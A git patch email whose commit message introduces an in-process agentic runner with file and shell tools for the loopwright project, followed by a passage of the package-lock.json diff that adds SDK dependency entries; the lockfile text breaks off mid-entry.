From a797bf7a9671b2f96b4d241dc529b431fc2244f3 Mon Sep 17 00:00:00 2001 From: Inzimam Date: Mon, 15 Jun 2026 05:09:13 +0000 Subject: [PATCH 1/5] Add native agentic runner (kind: "agent") on pi agent-core + ai Introduce PiAgentRunner: a vendor-neutral AgentRunner that drives a real multi-turn tool-calling loop in-process via @earendil-works/pi-agent-core and pi-ai. Unlike CliRunner (opaque subprocess, requires codex/kiro on PATH) and HttpRunner (a single chat completion that cannot edit files), this runner owns the inner loop: the model reads, lists, writes, edits, and runs shell commands through a minimal toolset (read_file, list_dir, write_file, edit_file, bash) rooted at req.cwd (the task worktree). Any provider with an API key becomes a first-class file-editing actor. Pairs with the captureDiff seam: because the agent edits the worktree on disk, the engine's git-diff capture reviews the real changes, so the model's self-reported diff is no longer trusted. - New runner kind "agent" in RunnerProfileSchema + runnerFactory. - Profile options: provider, apiKeyEnv, thinkingLevel, maxTurns, timeoutMs, tools allowlist, maxOutputChars. - Cooperative cancellation (req.signal), wall-clock timeout, and a turn cap all converge on agent.abort(); token usage is summed into meta in the shape observability normalizeUsage() already understands. - Heavy collaborators (model, execution env, streamFn, api key) are injectable so the real loop + real tools are exercised offline. Tests (test/piAgentRunner.test.ts, 7): drive the real Agent loop + real tools against pi's faux provider over a temp dir \u2014 file edit, file create, tool-error recovery, maxTurns abort, tool allowlist, pre-aborted cancellation, and factory selection. Full suite green; typecheck clean. --- package-lock.json | 1315 +++++++++++++++++++++++++++++++++- package.json | 2 + src/runners/agentRunner.ts | 11 +- src/runners/piAgentRunner.ts | 372 ++++++++++ src/runners/runnerFactory.ts | 3 + test/piAgentRunner.test.ts | 134 ++++ 6 files changed, 1827 insertions(+), 10 deletions(-) create mode 100644 src/runners/piAgentRunner.ts create mode 100644 test/piAgentRunner.test.ts diff --git a/package-lock.json b/package-lock.json index 865e5ae..0c09d35 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,6 +8,8 @@ "name": "loopwright", "version": "0.1.0", "dependencies": { + "@earendil-works/pi-agent-core": "^0.79.3", + "@earendil-works/pi-ai": "^0.79.3", "zod": "^3.23.8" }, "devDependencies": { @@ -20,6 +22,523 @@ "node": ">=22" } }, + "node_modules/@anthropic-ai/sdk": { + "version": "0.91.1", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.91.1.tgz", + "integrity": "sha512-LAmu761tSN9r66ixvmciswUj/ZC+1Q4iAfpedTfSVLeswRwnY3n2Nb6Tsk+cLPP28aLOPWeMgIuTuCcMC6W/iw==", + "license": "MIT", + "dependencies": { + "json-schema-to-ts": "^3.1.1" + }, + "bin": { + "anthropic-ai-sdk": "bin/cli" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + }, + "peerDependenciesMeta": { + "zod": { + "optional": true + } + } + }, + "node_modules/@aws-crypto/crc32": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", + "integrity": "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/@aws-crypto/sha256-browser": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz", + "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-js": "^5.2.0", + "@aws-crypto/supports-web-crypto": "^5.2.0", + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "@aws-sdk/util-locate-window": "^3.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/sha256-js": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz", + "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/@aws-crypto/supports-web-crypto": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz", + "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/util": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz", + "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.222.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-sdk/client-bedrock-runtime": { + "version": "3.1048.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1048.0.tgz", + "integrity": "sha512-u+NT61JZEkRFtpL0CAw1N1dwxnaLgwVXQl/zjJxTGgLyS/jTIdg2SdoEoCTHxgDyCnqa1HEi9QOoE9/pYRNpOQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.11", + "@aws-sdk/credential-provider-node": "^3.972.42", + "@aws-sdk/eventstream-handler-node": "^3.972.16", + "@aws-sdk/middleware-eventstream": "^3.972.12", + "@aws-sdk/middleware-websocket": "^3.972.19", + "@aws-sdk/token-providers": "3.1048.0", + "@aws-sdk/types": "^3.973.8", + "@smithy/core": "^3.24.2", + "@smithy/fetch-http-handler": "^5.4.2", + "@smithy/node-http-handler": "^4.7.2", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/core": { + "version": "3.974.20", + "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.20.tgz", + "integrity": "sha512-7sDi2B2N3mc3nf1nz6FyEx/FCrJ1N1QnBmraHHQNabFaeAh2IaOOLml48/rHOD1bICHgTRkbBgNTvUzEr5Z35g==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.12", + "@aws-sdk/xml-builder": "^3.972.29", + "@aws/lambda-invoke-store": "^0.2.2", + "@smithy/core": "^3.24.6", + "@smithy/signature-v4": "^5.4.6", + "@smithy/types": "^4.14.3", + "bowser": "^2.11.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-env": { + "version": "3.972.46", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.46.tgz", + "integrity": "sha512-+GPXVS2srMOlH74S+SmC1gVuP2TvUZ0siuC0onKO93q+udP+M72dmY8wJfVQ5CX9z/9X5A1HHwz5yRIGBtskvQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-http": { + "version": "3.972.48", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.48.tgz", + "integrity": "sha512-fA5loSdlocacRxyUXtpoHSMuk5rsIKRDzQYVMnMxjcmFeZshaJlJ8lymy/hYKji6sne/UmNGj5pxuEs6kq/Qcg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/fetch-http-handler": "^5.4.6", + "@smithy/node-http-handler": "^4.7.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-http/node_modules/@smithy/node-http-handler": { + "version": "4.7.8", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.8.tgz", + "integrity": "sha512-f+DbsWUwSbtMu1a/j8Y93KiU1SRg9nyzfjereqn1BJ33QOTUXxdlYvVXMhAYl1vuR1Kmna5aIJe09KSIfyFNYw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.24.7", + "@smithy/types": "^4.14.4", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-ini": { + "version": "3.972.53", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.53.tgz", + "integrity": "sha512-ZfdhIOR41q8TcWEnUac+gCOb+O2LBWdHLmjedXpXz4IEFW2ppNuFcm6p0sMTavpM+zD5TYfpH5Gp7guRyqSgsQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/credential-provider-env": "^3.972.46", + "@aws-sdk/credential-provider-http": "^3.972.48", + "@aws-sdk/credential-provider-login": "^3.972.52", + "@aws-sdk/credential-provider-process": "^3.972.46", + "@aws-sdk/credential-provider-sso": "^3.972.52", + "@aws-sdk/credential-provider-web-identity": "^3.972.52", + "@aws-sdk/nested-clients": "^3.997.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/credential-provider-imds": "^4.3.7", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-login": { + "version": "3.972.52", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.52.tgz", + "integrity": "sha512-9hu2oR0qH7Fst5Tzdx+UWxm+w5zCXtErTLtOOW5hwwQc170CLwOeniRxyFY6s9mHfGEfC5zFukNBdKBwJR8mhQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/nested-clients": "^3.997.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-node": { + "version": "3.972.55", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.55.tgz", + "integrity": "sha512-zMGLa/dhESVqmCD7mmIFFKSwSFrJGScvCXcjvBZEVOOMauFS5JRQvLTMukFpMEFWiV6dTAlsen2ATDBulLPtbg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/credential-provider-env": "^3.972.46", + "@aws-sdk/credential-provider-http": "^3.972.48", + "@aws-sdk/credential-provider-ini": "^3.972.53", + "@aws-sdk/credential-provider-process": "^3.972.46", + "@aws-sdk/credential-provider-sso": "^3.972.52", + "@aws-sdk/credential-provider-web-identity": "^3.972.52", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/credential-provider-imds": "^4.3.7", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-process": { + "version": "3.972.46", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.46.tgz", + "integrity": "sha512-VUoNFBIjWrUN8NbFiQiuxQEgFjvziAlBRPK+ddh27aj65gk0BYu6bLZnrdrNZwpW6vAihtSUtEMQ1PUJ32QRPA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso": { + "version": "3.972.52", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.52.tgz", + "integrity": "sha512-nb2/n4o/HQf+FVpVbZe9vCTFngmuDoIsltMgLAtjixaKzvzhB4J8WSDFyWgnErgLHk55ctWH+I4PU+LIHhyffg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/nested-clients": "^3.997.20", + "@aws-sdk/token-providers": "3.1066.0", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/token-providers": { + "version": "3.1066.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1066.0.tgz", + "integrity": "sha512-UqEUJq7dqa44hneLDUcX7UJy95cg8YqEWyakRpvIPnrNS3Mq+UlQHgCDGu5pvwAPtlIW4qcYbvW6reG6++FyvA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/nested-clients": "^3.997.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-web-identity": { + "version": "3.972.52", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.52.tgz", + "integrity": "sha512-lKj6aRSGbqLmpYmM24bY7a1Xmfcq2vkE3hv8CSPYfc1yCu0BPu/XEJ1L4Fm61MsU6ULLNSG8UGsffNoFUBjESA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/nested-clients": "^3.997.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/eventstream-handler-node": { + "version": "3.972.21", + "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.21.tgz", + "integrity": "sha512-mVC0hOmwGJmNFezZ+wM8Sqfap/LjsMavEf2Evl0YWrLAcrdZOEdjnY8nRvgakVViWJSGm2eJxLuPVHGdeV06kA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-eventstream": { + "version": "3.972.17", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.17.tgz", + "integrity": "sha512-tdbnXbw73ww62ABWP0G0Z/euvFowEEvAoi/zG4NaZo7HJFpfGho/Z65HyVzkJLT1cMsUregr4pTyxljlarT0wA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-websocket": { + "version": "3.972.28", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.28.tgz", + "integrity": "sha512-SCW06Zjugn86pq7+dxGnFcyWJuEWHT753HTU/Vj/OzVxP+NoShwdAr4ynxAcvWL883OgRVbSqW3ohnjIxwXjjw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/fetch-http-handler": "^5.4.6", + "@smithy/signature-v4": "^5.4.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@aws-sdk/nested-clients": { + "version": "3.997.20", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.20.tgz", + "integrity": "sha512-IYJuLpXp2DEILVQpQOy0PMpkftv0AHEOCn52o0atyOaumA0CdWQ3klPyXdViGYLbNpESsVFMVybvHUeZAuiGxA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.20", + "@aws-sdk/signature-v4-multi-region": "^3.996.34", + "@aws-sdk/types": "^3.973.12", + "@smithy/core": "^3.24.6", + "@smithy/fetch-http-handler": "^5.4.6", + "@smithy/node-http-handler": "^4.7.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/nested-clients/node_modules/@smithy/node-http-handler": { + "version": "4.7.8", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.8.tgz", + "integrity": "sha512-f+DbsWUwSbtMu1a/j8Y93KiU1SRg9nyzfjereqn1BJ33QOTUXxdlYvVXMhAYl1vuR1Kmna5aIJe09KSIfyFNYw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.24.7", + "@smithy/types": "^4.14.4", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@aws-sdk/signature-v4-multi-region": { + "version": "3.996.34", + "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.34.tgz", + "integrity": "sha512-mx1L5qlumSOt/nKM3BFaHE2HVkWwz0i4Bw0pyYO42FfX/FeLlo8YI6csC0gSPprEk6fTIqI+CZN9RwUwKd5krQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.12", + "@smithy/signature-v4": "^5.4.6", + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/token-providers": { + "version": "3.1048.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1048.0.tgz", + "integrity": "sha512-k0y/GcuesuSfWyUM0WamrGyeZmltRYaPbHO82UDA6mZ/doB+FOHKutikPAtSXMn/hDz970cF+iRuuiYO9VEbAA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.11", + "@aws-sdk/nested-clients": "^3.997.9", + "@aws-sdk/types": "^3.973.8", + "@smithy/core": "^3.24.2", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/types": { + "version": "3.973.12", + "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.12.tgz", + "integrity": "sha512-43ajd1NF0RMgX5k0hxCNUyEdrtFUsb2aHT2QvpktSC/2Eyb2Jr/JPVqdp0XIoaHWikZJq5tNWSLO6kB5q2eMCA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-locate-window": { + "version": "3.965.7", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.965.7.tgz", + "integrity": "sha512-M0D6oIpohdNHjc7udzTHEQyot0+0iuA36jc2I9Hps+f/GtKi2HO/pyijQnCnNcwZqLB5+rtn81z3eZK/GyjAmA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/xml-builder": { + "version": "3.972.29", + "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.29.tgz", + "integrity": "sha512-fk0niuGFxfi8yIJuMVM4mhwObkiQSuwZFj3tAPrLVx64Pk3BkrEIpqjzHKY4hKoEBUD6Jg/S74Zj9jy+5F3DnQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.3", + "fast-xml-parser": "5.7.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws/lambda-invoke-store": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.4.tgz", + "integrity": "sha512-iY8yvjE0y651BixKNPgmv1WrQc+GZ142sb0z4gYnChDDY2YqI4P/jsSopBWrKfAt7LOJAkOXt7rC/hms+WclQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@earendil-works/pi-agent-core": { + "version": "0.79.3", + "resolved": "https://registry.npmjs.org/@earendil-works/pi-agent-core/-/pi-agent-core-0.79.3.tgz", + "integrity": "sha512-Ksvnu6CpQLYGbCSgnQEetzliI7yb+QkqtSlmmunJ69QluT45kd3DjQZRNHfRLk++Dd02Y8QvsRKMopSJCcWoWw==", + "license": "MIT", + "dependencies": { + "@earendil-works/pi-ai": "^0.79.3", + "ignore": "7.0.5", + "typebox": "1.1.38", + "yaml": "2.9.0" + }, + "engines": { + "node": ">=22.19.0" + } + }, + "node_modules/@earendil-works/pi-ai": { + "version": "0.79.3", + "resolved": "https://registry.npmjs.org/@earendil-works/pi-ai/-/pi-ai-0.79.3.tgz", + "integrity": "sha512-lMSput/haP5uZAGbXhS5rAYd3GB7GYdJkoAUxg3VFummBeqGqGqllaTWrbHFN12kVGyVfWHhdySNXkiqVh65Iw==", + "license": "MIT", + "dependencies": { + "@anthropic-ai/sdk": "0.91.1", + "@aws-sdk/client-bedrock-runtime": "3.1048.0", + "@google/genai": "1.52.0", + "@mistralai/mistralai": "2.2.1", + "@smithy/node-http-handler": "4.7.3", + "http-proxy-agent": "7.0.2", + "https-proxy-agent": "7.0.6", + "openai": "6.26.0", + "partial-json": "0.1.7", + "typebox": "1.1.38" + }, + "bin": { + "pi-ai": "dist/cli.js" + }, + "engines": { + "node": ">=22.19.0" + } + }, "node_modules/@emnapi/core": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", @@ -496,6 +1015,30 @@ "node": ">=18" } }, + "node_modules/@google/genai": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.52.0.tgz", + "integrity": "sha512-gwSvbpiN/17O9TbsqSsE/OzZcpv5Fo4RQjdngGgogtuB9RsyJ8ZHhX5KjHj1bp5N9snN2eK8LDGXSaWW2hof8Q==", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "google-auth-library": "^10.3.0", + "p-retry": "^4.6.2", + "protobufjs": "^7.5.4", + "ws": "^8.18.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "@modelcontextprotocol/sdk": "^1.25.2" + }, + "peerDependenciesMeta": { + "@modelcontextprotocol/sdk": { + "optional": true + } + } + }, "node_modules/@jridgewell/sourcemap-codec": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", @@ -503,6 +1046,17 @@ "dev": true, "license": "MIT" }, + "node_modules/@mistralai/mistralai": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", + "integrity": "sha512-uKU8CZmL2RzYKmplsU01hii4p3pe4HqJefpWNRWXm1Tcm0Sm4xXfwSLIy4k7ZCPlbETCGcp69E7hZs+WOJ5itQ==", + "license": "Apache-2.0", + "dependencies": { + "ws": "^8.18.0", + "zod": "^3.25.0 || ^4.0.0", + "zod-to-json-schema": "^3.25.0" + } + }, "node_modules/@napi-rs/wasm-runtime": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.5.tgz", @@ -522,6 +1076,18 @@ "@emnapi/runtime": "^1.7.1" } }, + "node_modules/@nodable/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-9uGyhaQavEUMC8AIddIjau4NsnsXhou+j5sBAGojCM1oxmQpVKTWR/9JxABD6UAv12vpIms55fPZKFQEhG6uBg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/nodable" + } + ], + "license": "MIT" + }, "node_modules/@oxc-project/types": { "version": "0.133.0", "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.133.0.tgz", @@ -532,6 +1098,63 @@ "url": "https://github.com/sponsors/Boshen" } }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.5.tgz", + "integrity": "sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz", + "integrity": "sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz", + "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==", + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.1" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.1.tgz", + "integrity": "sha512-oOAWABowe8EAbMyWKM0tYDKi8Yaox52D+HWZhAIJqQXbqe0xI/GV7FhLWqlEKreMkfDjshR5FKgi3mnle0h6Eg==", + "license": "BSD-3-Clause" + }, "node_modules/@rolldown/binding-android-arm64": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz", @@ -796,6 +1419,126 @@ "dev": true, "license": "MIT" }, + "node_modules/@smithy/core": { + "version": "3.24.7", + "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.24.7.tgz", + "integrity": 